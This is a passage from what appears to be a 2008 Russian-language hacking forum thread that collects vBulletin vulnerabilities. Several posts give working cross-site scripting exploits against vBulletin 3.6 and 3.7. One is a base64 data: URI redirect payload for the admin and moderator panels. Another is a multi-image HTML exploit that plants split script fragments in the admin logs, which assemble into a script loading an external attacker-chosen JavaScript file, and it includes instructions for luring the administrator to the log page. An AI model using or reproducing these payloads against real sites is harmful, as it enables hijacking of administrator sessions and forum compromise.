    #36 Elekt, 26 May 2008
    Last edited: 26 May 2008
  17. ReanimatoR

    ReanimatoR Elder - Старейшина

    Joined:
    27 Aug 2006
    Messages:
    120
    Likes Received:
    118
    Reputations:
    34
    XSS vBanonymizer

    XSS в вобле
    {
    У жертвы должно быть:
    Vbulletin forum - все версии
    vBanonymizer - любая версия до 24.06.08
    }
    (с) _vbsupport.org
     
    #37 ReanimatoR, 1 Jul 2008
    Last edited by a moderator: 3 Sep 2008
    1 person likes this.
  18. Elekt

    Elekt Banned

    Joined:
    5 Dec 2005
    Messages:
    944
    Likes Received:
    427
    Reputations:
    508
    XSS (3.7.1 & 3.6.10)

    XSS-base64

    _http://securityvulns.ru/news/CGI/2008.06.14.html
    _http://securityvulns.ru/news/CGI/2008.06.19.html

    Exploit:

    http://localhost/vB3/admincp/index.php?redirect=data:text/html;base64,
    PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K

    http://localhost/vB3/modcp/index.php?redirect=data:text/html;base64,
    PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K
     
  19. Elekt

    Elekt Banned

    Joined:
    5 Dec 2005
    Messages:
    944
    Likes Received:
    427
    Reputations:
    508
    Xss (3.7.2, 3.6.10)

    XSS in admin logs - vBulletin 3.7.2 and lower, vBulletin 3.6.10 PL2 and lower

    http://securityvulns.ru/Udocument137.html

    язвимость существует из-за недостаточной обработки параметров "PHP_SELF" и "do" при запросе несуществующей страницы.

    Exploit:

    1) Оставляем в логах булки нашу хсс, используя данный эксплоит:
    HTML:
    <html> 
    <body> 
    <img src="http://localhost/vB/upload/admincp/faq.php/0?do=<script>/*" /> 
    <img src="http://localhost/vB/upload/admincp/faq.
    php/1?do=*/a%3D'document.wri'/*" 
    /> 
    <img src="http://localhost/vB/upload/admincp/faq.
    php/2?do=*/b%3D'te(%22<script 
    '/*" /> 
    <img src="http://localhost/vB/upload/admincp/faq.
    php/3?do=*/c%3D'src=http://'/*" 
    /> 
    <!--edit to match your data --> 
    <img src="http://localhost/vB/upload/admincp/faq.
    php/4?do=*/d%3D'localhost/'/*" 
    /> 
    <img src="http://localhost/vB/upload/admincp/faq.
    php/5?do=*/e%3D''/*" /> 
    <img src="http://localhost/vB/upload/admincp/faq.php/6?do=*/f%3D't.
    js></scrip'/*" 
    /> 
    <!-- end edit --> 
    <img src="http://localhost/vB/upload/admincp/faq.
    php/7?do=*/g%3D't>%22)'/*" /> 
    <img src="http://localhost/vB/upload/admincp/faq.
    php/8?do=*/h%3Da%2Bb%2Bc%2Bd%2Be%2Bf%2Bg/*" 
    /> 
    <img src="http://localhost/vB/upload/admincp/faq.
    php/9?do=*/eval(h)/*" /> 
    <img src="http://localhost/vB/upload/admincp/faq.
    php/a0?do=*/</script>" /> 
    </body> 
    </html>
    2) Затем отправьте админа по ссылке:
    /adminlog.php?do=view&script=&u=0&pp=15&orderby=script&page=1


    Ограничения:
    PHP_SELF - 50 characters max and no slashes
    _REQUEST['do'] is limited to 20 characters

    Также сообщается, что злоумышленник может внедрить и выполнить произвольный PHP код на системе с привилегиями Web сервера.

     
  20. Fugitif

    Fugitif Elder - Старейшина

    Joined:
    23 Sep 2007
    Messages:
    407
    Likes Received:
    227
    Reputations:
    42
    #40 Fugitif, 13 Jul 2008
    Last edited: 19 Jul 2008
    1 person likes this.